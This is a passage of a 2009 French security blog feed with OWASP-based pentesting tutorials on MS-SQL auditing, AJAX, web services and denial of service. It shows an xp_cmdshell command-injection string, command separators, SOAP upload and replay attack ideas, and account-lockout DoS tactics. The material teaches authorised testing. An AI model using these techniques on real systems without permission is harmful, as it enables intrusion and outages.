rgb(51, 153, 153);"&gt;5 - Aller plus loin&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Arrivé à ce stade, nous  avons été suffisamment loin dans la compromission du serveur. Cependant, il est nécessaire d'être exhaustif dans le cadre d'un pentest. Un serveur qui a pu être compromis de la sorte n'a pas bénéficié du hardening adéquat et par conséquent, souffre certainement de nombreuses vulnérabilités. Cela peut se vérifier par des tests complémentaires. Notamment, nous pouvons nous aider du script SQL &lt;span style="font-weight: bold;"&gt;SQLVulscan&lt;/span&gt;. Voici une liste non exhaustive de vulnérabilités qu'il permet de trouver :&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Privilège du compte de service ;&lt;/li&gt;&lt;li&gt;Méthode d'authentification ;&lt;/li&gt;&lt;li&gt;Liste des procédure stockées ;&lt;/li&gt;&lt;li&gt;Présence des bases de données par défaut ;&lt;/li&gt;&lt;li&gt;Présence des accès "invité" ;&lt;/li&gt;&lt;li&gt;Présence de comptes sans mot de passe ;&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Pour le lancer, utiliser la commande suivante :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;c:\&gt;osql.exe /S 192.168.0.12 /U sa /P BDD_PASS /i SQLvulscan.sql&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Et comme toujours, have fun!&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1909188108334276588?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1909188108334276588/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1909188108334276588' title='7 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1909188108334276588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1909188108334276588'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/04/pentesting-database-ms-sql-audit.html' title='[PENTESTING] [Database] MS-SQL Audit'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_BhVyBIyY5_8/Seu6XGhh8MI/AAAAAAAAAgM/LQP5jd6asx0/s72-c/SQLRecon.PNG' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-4934514506524035365</id><published>2009-03-22T02:15:00.000-07:00</published><updated>2009-03-24T02:16:57.138-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 10</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Nous y sommes ! La dernière étape avec la fin de notre aventure sur la méthodologie OWASP. Après avoir vu un grand nombre de points à contrôler - de la collecte d'information à l'exploitation d'injections - il ne nous reste plus qu'à voir les attaques possibles sur AJAX. Je finirai par un résumé très rapide sur la vision de la norme pour la partie "post-pentest".&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Dixième épisode ! Hé oui, nous y voilà ! Il synthétise la section 4.11 de la norme. J'irai très vite car je ne suis pas un expert &lt;a href="http://en.wikipedia.org/wiki/AJAX"&gt;AJAX&lt;/a&gt; ;) Mais il me fallait être exhaustif en abordant tous les chapitres de la méthodo. Pour finir, je décrirai brièvement la partie 5 de l'OWASP à propos du travail d'un pentester une fois les tests réalisés.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Phase de tests actifs 9 - &lt;span style="font-style: italic;"&gt;tests sur les applications AJAX&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;AJ-001 - Les vulnérabilités d'AJAX&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Notre démarche consiste dans un premier temps à explorer les vulnérabilités potentielles sur les applications AJAX ou du moins, de contrôler qu'il n'y a pas de faille exploitable par un attaquant. Pour s'en assurer, nous devons couvrir un champ assez large de recherche car les applis AJAX sont concernées par de nombreux vecteurs d'attaque :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Les attaques de type injection (cf. épisode 7)  : ex ; SQL / XSS /CSRF ;&lt;/li&gt;&lt;li&gt;Les dénis de services (cf. épisode 8) ;&lt;/li&gt;&lt;li&gt;Attaque côté client (navigateur). Surveiller les nouvelles failles ! (ex : &lt;a href="http://www.securityfocus.com/"&gt;www.securityfocus.com&lt;/a&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;u&gt;&lt;br /&gt;AJ-002 - Tests sur les applications AJAX&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Il n'y a pas de méthode précise ici mais nous donnerons quelques pistes. La première est de travailler avec un proxy local (ex : &lt;a href="http://www.parosproxy.org/"&gt;paros&lt;/a&gt;). Comme pour tout type d'application WEB, ce genre d'outil nous permet souvent de trouver "ce qui cloche". Du moins, cela nous permet de mieux comprendre l'application.&lt;br /&gt;La deuxième piste est de trouver les erreurs ou les lacunes dans le code JavaScript. Cette fois, nous pourrons utiliser une extension de Firefox comme &lt;a href="https://addons.mozilla.org/fr/firefox/addon/1843"&gt;Firebug&lt;/a&gt;. L'objectif est de trouver les failles dans le code qui nous permettront de réaliser des injections.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 - Après les tests ...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;La réalisation des tests constituent le coeur de la prestation d'un test d'intrusion d'une application WEB. Cependant, le résultat final, c'est le rapport.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;3.1 - Étude des faille&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Cependant, le résultat final, c'est le rapport. L'OWASP propose six étapes pour étudier une faille :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Étape 1 : Description et identification du risque pour la faille trouvée&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Par exemple, atteinte à l'image de la compagnie, pertes financières, etc...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Étape 2 : Estimation de la probabilité&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Est-il envisageable qu'une telle attaque se produise ? Si oui, dans quelle mesure ? Par exemple, s'il existe un gain financier à la clé, un attaquant sera plus motivé à attaquer la cible en question.&lt;br /&gt;Deuxième cas : imaginons une attaque distante. Si la compagnie a bien sécurisé les accès extérieurs avec pare-feu correctement configuré et plateforme de protection WEB, l'attaque aura moins de chance de succès.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Étape 3 : Estimation de l'impact sur l'entreprise&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Les risques identifiés doivent être évalué. Nous apportons un coefficient différent selon que une ou plusieurs personnes peuvent être touchées par l'exploitation de la faille étudiée. Les impacts financiers consistent-ils en une perte d'une journée de production ou d'une durée plus longue ?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Étape 4 : Estimation de la sévérité du risque.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;sévérité risque = probabilité d'exploit (étape 2) * impact (étape 3)&lt;/blockquote&gt;&lt;br /&gt;Nous obtenons une criticité de "Faible" à "Critique".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Étape 5 : Recommandations&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Il est temps ici d'apporter les solutions pour corriger les failles. Les recommandations devront tenir compte du contexte du client afin qu'elles puissent être réalisées.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Étape 6 : Personnalisation&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;L'idée est ici d'affiner l'étude en donnant un point de vue personnaliser pour le client : des solutions adaptées au secteur, aux besoins et à l'évolution de l'entreprise.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;3.2 - Écriture du rapport&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Nous découpons le rapport en trois points :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;une partie destinée aux managers (avec une synthèse des tests) ;&lt;/li&gt;&lt;li&gt;une partie technique pour les équipes opérationnelles ; &lt;/li&gt;&lt;li&gt;la réalisation des tests proprement dite en tenant compte du travail effectué en 3.1.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Conclusion / En résumé&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Pour conclure sur les dix posts à propos de la méthodologie OWAP, je dirai qu'il s'agit pour moi de la seule norme éprouvée &lt;span style="font-weight: bold;"&gt;dédiée aux applications WEB&lt;/span&gt;. Elle a l'avantage de traiter &lt;span style="font-weight: bold;"&gt;tous les types de tests&lt;/span&gt; les plus communs (ex : injections) et les tests attraits aux nouvelles technologies WEB (ex : application AJAX). Ensuite, elle aborde tous ces sujets d'une manière &lt;span style="font-weight: bold;"&gt;très technique&lt;/span&gt; (partie 4 du document) mais aussi les parties environnantes pour proposer un test d'intrusion complet (&lt;span style="font-weight: bold;"&gt;contexte des tests, évaluation des résultats, écriture d'un rapport&lt;/span&gt;).&lt;br /&gt;Bref, un fil conducteur très intéressant pour qui souhaite mener un test d'intrusion d'application WEB de manière rigoureuse.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-4934514506524035365?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/4934514506524035365/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=4934514506524035365' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4934514506524035365'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4934514506524035365'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/03/standard-owasp-episode-10.html' title='[STANDARD] OWASP - Episode 10'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-4501578007808572293</id><published>2009-03-19T13:43:00.001-07:00</published><updated>2009-03-22T02:24:58.249-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 9</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;A grand pas, nous arrivons à la fin de notre étude sur la méthodologie OWASP. Dans ce neuvième épisode, nous traitons des Web Services. Mine de rien, c'est fou tout ce qu'ils peuvent nous permettre de faire ! Mais comme toujours, tout dépend de la sécurité de leur implémentation. Alors, prêt à tester ?&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Dans la norme OWASP, il s'agit de la section 4.10. Nommée &lt;span style="font-style: italic;"&gt;Web Services Testing - WS&lt;/span&gt;, elle aborde les grands axes d'attaques des services en question de leur découverte à leur exploitation en sept points.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Phase de tests actifs 8 - &lt;span style="font-style: italic;"&gt;tests sur les Web Services&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.1 - Collecte d'information sur les Web Services&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Si nous ne connaissons pas la localisation des Web Services sur le serveur WEB hôte et que celle-ci n'est pas triviale, il nous faudra la trouver. Pour cela, plusieurs moyens s'offrent à nous :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;grâce à notre ami &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt; avec un requête du type :&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;blockquote&gt;inurl:wsdl site:&lt;span style="font-style: italic;"&gt;nom_cible&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;grâce à des sites de recensements de Web Services comme &lt;a href="http://seekda.com/"&gt;seekda.com&lt;/a&gt;, &lt;a href="http://www.wsindex.org/"&gt;wsindex.org&lt;/a&gt; ou &lt;a href="http://www.soapclient.com/"&gt;soapclient.com&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Sinon, nous pouvons tenter de les trouver avec les chemins, nom et extensions bien connus Pour cela, prendre les URLs connues et ajouter (combiner) :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;/services/&lt;/li&gt;&lt;li style="font-style: italic;"&gt;nom_services&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;wsdl&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;uddi&lt;/span&gt;,&lt;span style="font-style: italic;"&gt; disco&lt;/span&gt;, etc. Essayer aussi en les précédant d'un "?"&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.2 - Tests des WSDL&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Une fois repérés les WSDLs, nous aurons accès à leur description. Ce qui nous intéresse alors, ce sont :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;les noms des opérations (avec éventuellement leurs paramètres) ;&lt;/li&gt;&lt;li&gt;les URLs et/ou adresses IP fournies (adresses externes ou internes ...).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Pour cela, deux outils peuvent nous être utilise : &lt;a href="http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project"&gt;WebScarab &lt;/a&gt;(en version complète) et &lt;a href="http://www.foundstone.com/us/resources/proddesc/wsdigger.htm"&gt;WSDigger&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.3 - Structure des fichiers XML&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;La description des WSDL est enregistrée au format XML. Le présent paragraphe s'attache à la bonne constitution de ces fichiers XML. Pour cela, nous allons vérifier les points suivants :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le fichier est-il correctement formé ? Les balises sont-elles correctement fermées ?&lt;/li&gt;&lt;li&gt;Des éléments permettent-ils d'injecter des données larges ?&lt;/li&gt;&lt;li&gt;Des éléments permettent-ils d'injecter des binaires (éventuellement en base64) ?&lt;/li&gt;&lt;li&gt;Des éléments permettent-ils de lancer des injections malicieuses (voir Épisode 8) ?&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.4 - Attaque XML Content-Level&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Suite à l'analyse effectuée dans l'étape précédente, nous allons tenter d'exploiter les vulnérabilités potentielles repérées. Le but est de s'amuser avec les paramètres et de les transformer à notre guise pour tester le comportement du serveur et/ ou de mener des attaques. Cela suppose néanmoins de pouvoir intéragir avec les WSDL.&lt;br /&gt;Nous allons illustrer nos propos avec le screenshot suivant (avec WebScarab) :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_BhVyBIyY5_8/ScK0saZ7dvI/AAAAAAAAAf8/NEG-to6TZ2M/s1600-h/WebScarab.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 286px;" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/ScK0saZ7dvI/AAAAAAAAAf8/NEG-to6TZ2M/s400/WebScarab.JPG" alt="" id="BLOGGER_PHOTO_ID_5315009185345926898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Pour commencer, nous choisissons le WSDL que nous voulons tester (&lt;span style="font-family:courier new;"&gt;WSDL :&lt;/span&gt;). Puis, on choisit l'opération qui nous intéresse (1). Ensuite, On change la valeur du paramètre souhaité (2). Nous chargeons l'outil de créer la requête SOAP associée en cliquant simplement sur "&lt;span style="font-style: italic;"&gt;Execute&lt;/span&gt;" (3). Le résultat est fourni en (4).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.5 - Requête HTTP GET&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Cette fois, nous tentons de modifier les paramètres via l'URL directement. indirectement, notre but est d'agir sur le WSDL. Alors, dans les paramètres, nous modifierons les valeurs fournies dans les requêtes en GET ou mieux, d'exécuter des commandes précédées du séparateur approprié (e.g. &lt;span style="font-family:courier new;"&gt;&amp;amp; ' ;&lt;/span&gt; ou &lt;span style="font-family:courier new;"&gt;|&lt;/span&gt;). Par exemple, la commande pourrait être lancée par la procédure master..xp_cmdshell d'un MSSQL :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;' exec master..xp_cmdshell + &lt;span style="font-style: italic;"&gt;commande&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.6 - Requête SOAP avec attachement&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Un peu plus complexe que l'étape 2.4, il s'agit ici de forger une requête SOAP aussi à destination du WSDL cible à la différence près que nous cherchons à incorporer un attachement dans la requête. L'objectif est - par exemple - d'uploader sur le serveur WEB un programme nous permettant de prendre la main. Comme le suggère la méthodologie, le test peut consister en un test EICAR.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.7 - Attaque de rejeu&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Nous travaillons cette fois en local et après avoir lancé une attaque de type MItM. Alors, notre but est de récupérer les éléments valides d'une session (credentials, cookie, etc ...) pour pouvoir nous approprier les requêtes passées par d'autres utilisateurs en les rejouant. Nous aurons besoin d'outils pour sniffer le trafic (ex : &lt;a href="http://www.wireshark.org/"&gt;wireshark&lt;/a&gt;) + &lt;a href="http://tcpreplay.sourceforge.net/"&gt;TCPReplay&lt;/a&gt; et/ou Webscarab.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-4501578007808572293?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/4501578007808572293/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=4501578007808572293' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4501578007808572293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4501578007808572293'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/03/standard-owasp-episode-9.html' title='[STANDARD] OWASP - Episode 9'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/ScK0saZ7dvI/AAAAAAAAAf8/NEG-to6TZ2M/s72-c/WebScarab.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-4403429204573135513</id><published>2009-03-18T12:33:00.000-07:00</published><updated>2009-03-22T02:23:39.365-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 8</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Nous continuons sur notre lancée pour aborder le huitième épisode sur la méthodologie OWASP. Il s'agit ici de traiter des dénis de service. Rarement demandé lors d'un pentest, des effets pourtant ravageurs en cas de succès ...&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Avant-propos&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Ce chapitre correspond à la section 4.9 de la norme, nommé &lt;span style="font-style: italic;"&gt;Denial of Service Testing - DS&lt;/span&gt;. Puisque nous parlons de déni de service, les attaques correspondantes ne devront être lancées que si elles sont explicitement demandées. En effet, la compagnie demandeuse est rarement prête à prendre le risque de voir tomber sa prod'. Cependant, les tests peuvent se dérouler sur un environnement de test ou le client peut très bien être intéressé par des tests exhaustifs ou les dénis de services ont largement leur place.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 - &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Phase de tests actifs 7 - &lt;span style="font-style: italic;"&gt;tests sur les dénis de service&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - DS-001 : Attaque DoS basées sur les "wilcard characters"&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Les "wildcard characters" sont les caractères spéciaux qui remplacent plusieurs caractères ou une chaînes. Par exemple, le caractère "*" peut remplacer toutes les chaînes. Le but est de les utiliser pour forcer la base de données cible à chercher le plus longtemps possible pour répondre à notre requête. Voici quelques règles à suivre :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;La requête doit demander un élément inexistant ou très rare dans un champ de recherche très large ;&lt;/li&gt;&lt;li&gt;Utiliser de longues et complexes requêtes avec des "wildcard characters" ;&lt;/li&gt;&lt;li&gt;Commencer et terminer la requête par un "%" (pour le &lt;span style="font-style: italic;"&gt;LIKE&lt;/span&gt;).&lt;/li&gt;&lt;/ul&gt;L'objet de cette attaque et de rendre la BDD inutilisable ou du moins très ralentie.&lt;br /&gt;&lt;u&gt;&lt;br /&gt;2.2 - DS-002 : Bloquer les comptes utilisateur&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Généralement, un seuil est imposé pour le nombre d'essais autorisés pour se connecter avec un compte. Cela évite notamment les attaques de type "brute force". Cependant, une fois la totalité des essais épuisée, le compte est bloqué pendant une durée indétermminée. Nous avons deux cas :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Nous connaissons le login des comptes à bloquer. Dans ce cas, tenter au moins 15 essais jusqu'à blocage du compte ;&lt;/li&gt;&lt;li&gt;Nous ne connaissons pas de login. Alors, il nous faut les trouver grâce : &lt;/li&gt;&lt;ul&gt;&lt;li&gt;aux messages et pages d'erreur fournis à partir de la page de login (point déjà traité) ;&lt;/li&gt;&lt;li&gt;à la page de création de compte en tentant de créer un utilisateur déjà existant ;&lt;/li&gt;&lt;li&gt;à la page permettant de recouvrer son mot de passe (point déjà traité).&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;u&gt;2.3 - DS-003 : DoS basés sur des attaques de type "Buffer Overflow"&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Nous avons déjà abordé le sujet des "buffer overflow" dans l'épisode précédent. La différence est qu'ici, le but est de simplement rendre inacessible un service. Par exemple, nous pourrons le vérifier si une page ou une fonctionnalité n'est plus disponible suite à notre attaque.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.4 - DS-004 : DoS sur l'allocation d'objet&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Parmi les actions permises pour l'utilisateur, ce dernier peut parfois - directement ou non - créer des instances d'un objet quelconque (propriété, caractéristique, entrée dans un base, etc.). Pour illustration, au niveau du code, la création d'un objet se fera avec un &lt;span style="font-style: italic;"&gt;new&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.5 - DS-005 : Utilisation d'une boucle&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Les codeurs utilisent souvent des boucles dans leurs programmes. Si une boucle est localisée ou supposée, l'utilisateur pourra tenter de dépasser les limites d'une boucle (ex : dans le cas d'une boucle &lt;span style="font-style: italic;"&gt;for&lt;/span&gt;) ou de lancer une boucle infinie (ex : avec une boucle &lt;span style="font-style: italic;"&gt;while&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.6 - DS-006 : Saturation d'un disque&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Si la gestion des logs n'est pas sécurisée, il peut arriver que de nombreux logs soient enregistrés. Aussi, il est possible que le disque accueillant les logs n'ait pas un espace suffisant. Alors, le but de l'attaquant sera de générer un maximum de logs pour mettre en d'usage le système de log. Cette attaque se fera généralement à l'aide de scripts automatiques ou de requêtes coûteuses en espace disque.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.7 - DS-007 : Saturation des ressources&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Les ressources créées sur le serveur demandent des ressources diverses (disque, CPU, mémoire vive, et/ou réseau). Si elles ne sont pas fermées ou réallouée correctement, elles s'accumulent et peuvent provoquer une surcharge quelconque. Par exemple, nous pouvons avoir :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;des fichiers mal fermés qui sont lockés ;&lt;/li&gt;&lt;li&gt;des ressources accumulées qui demandent une mémoire vive trop importante par rapport aux capacités du serveur ; &lt;/li&gt;&lt;li&gt;des connections toujours actives sur un BDD jusqu'à atteindre le seuil autorisé (ex : 15 connexions simultanées).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;u&gt;2.8 - DS-008 : Saturation d'une session&lt;br /&gt;&lt;br /&gt;&lt;/u&gt;Ici, nous tentons de stocker un maximum de données dans une session. Aussi, il peut s'agir de créer un maximum de session pour surcharger le serveur. Idéalement, nous combinerons les deux. Les exigences en termes de mémoire sont alors de plus en plus forte pour le serveur qui finira certainement par ne plus avoir les capacités d'assurer une telle demande.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-4403429204573135513?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/4403429204573135513/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=4403429204573135513' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4403429204573135513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4403429204573135513'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2009/03/standard-owasp-episode-8.html' title='[STANDARD] OWASP - Episode 8'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-6429751479250636080</id><published>2009-03-12T15:34:00.000-07:00</published><updated>2009-03-19T14:29:14.532-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><title type='text'>[STANDARD] OWASP - Episode 7</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Septième épisode de notre épopée 